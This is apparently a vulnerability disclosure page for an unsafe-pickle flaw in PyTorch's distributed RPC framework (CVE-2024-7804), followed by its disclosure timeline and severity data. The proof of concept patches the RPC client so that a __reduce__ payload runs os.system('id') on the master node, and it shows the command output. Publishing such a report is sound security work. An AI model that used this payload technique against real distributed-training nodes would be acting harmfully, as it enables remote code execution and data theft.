Deserialization of untrusted data in Pytorch RPC Framework in pytorch/pytorch

Valid Reported on Jun 27th 2024

Description

In the framework of Pytorch torch.distributed.rpc, the RPC calling mechanism is implemented through PythonUDF objects. The entire process involves pickle serialization and deserialization, specifically in: pytorch/torch/distributed/rpc/internal.py When the master processes a PythonUDF object, it first calls the deserialize function, which calls _internal_rpc_pickler.deserializ, and finally uses pickle.Unpickler.load to perform the deserialization operation.

There is a deserialization vulnerability due to lack of security verification. Leading to remote code execution over the network.

```
def deserialize(self, binary_data, tensor_table):
        r"""
        Deserialize binary string + tensor table to original obj
        """
        # save _thread_local_tensor_tables.recv_tables if it is in nested call
        global _thread_local_tensor_tables
        if hasattr(_thread_local_tensor_tables, "recv_tables"):
            old_recv_tables = _thread_local_tensor_tables.recv_tables
        else:
            old_recv_tables = None
        _thread_local_tensor_tables.recv_tables = tensor_table

        try:
            unpickler = _unpickler(io.BytesIO(binary_data))
            ret = unpickler.load()
```

Proof of Concept

The attacker needs to send a malicious serialized python_udf object. This can be achieved by modifying the torch source code on the attacker's device. The modification location is as follows：
https://github.com/pytorch/pytorch/blob/27a14405d3b996d572ba18339410e29ec005c775/torch/distributed/rpc/api.py#L738

The modified code is as follows：

```
            #(pickled_python_udf, tensors) = _default_pickler.serialize(
            #    PythonUDF(func, args, kwargs)
            #)
            import os
            class Unsec(object):
                def __reduce__(self):
                    return (os.system,('id',))
            (pickled_python_udf, tensors) = _default_pickler.serialize(
                Unsec()
            )
            fut = _invoke_rpc_python_udf(
                dst_worker_info,
                pickled_python_udf,
                tensors,
                rpc_timeout,
                is_async_exec
            )
```

The attacker uses worker.py to join the distributed RPC environment normally and can call the torch.add function in the master through the rpc_sync function. However, due to the deserialization vulnerability, the victim can execute arbitrary code when processing the RPC call.

environment variables：

```
export MASTER_ADDR=10.206.0.3
export MASTER_PORT=29500
export TP_SOCKET_IFNAME=eth0
export GLOO_SOCKET_IFNAME=eth0
```

worker.py

```
import torch
import torch.distributed.rpc as rpc

rpc.init_rpc("worker", rank=1, world_size=2)
ret = rpc.rpc_sync("master", torch.add, args=(torch.ones(2), 3))
rpc.shutdown()
```

The final test results showed that a deserialization vulnerability occurred on the victim's master device, and the os.system,('id',) command sent by the attacker was executed:

```
ubuntu@VM-0-3-ubuntu:~/rpc$ python3 master3.py
/home/ubuntu/.local/lib/python3.10/site-packages/torch/distributed/distributed_c10d
  warnings.warn(

uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(
```

Impact

An attacker can exploit this vulnerability to remotely attack master nodes that are starting distributed training. Through RCE, the master node is compromised, so as to further steal the sensitive data related to AI.

Occurrences

internal.py L162

We are processing your report and will contact the **pytorch** team within 24 hours. 2 years ago

We have contacted a member of the **pytorch** team and are waiting to hear back 2 years ago

We have sent a follow up to the **pytorch** team. We will try again in 4 days. 2 years ago

We have sent a second follow up to the **pytorch** team. We will try again in 7 days. 2 years ago

We have sent a third follow up to the **pytorch** team. We will try again in 14 days. 2 years ago

We have sent a fourth follow up to the **pytorch** team. We will send a final notification 48 hours before report publication. 2 years ago

This report has now been passed to internal triage and should be resolved within 14 days. 2 years ago

Marcello validated this vulnerability a year ago

xbalien has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

CVE-2024-7804 assigned to this report. a year ago

We have sent a warning to the **pytorch** team to inform them that this report will be published in 48 hours a year ago

We have notified the **pytorch/pytorch** maintainers about this report in their weekly follow-up a year ago

This vulnerability has now been published a year ago

CVE-2024-7804 has now been published 10 months ago

CVE
CVE-2024-7804
Rejected

Vulnerability Type
CWE-502: Deserialization of Untrusted Data

Severity
Critical (9.8)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Open in visual CVSS calculator

Registry
Pypi

Affected Version
<=2.3.1

Visibility
Public

Status
Awaiting fix

Disclosure Bounty
$1500

Fix Bounty
$375

Found by

xbalien
@xbalien
LIGHTWEIGHT

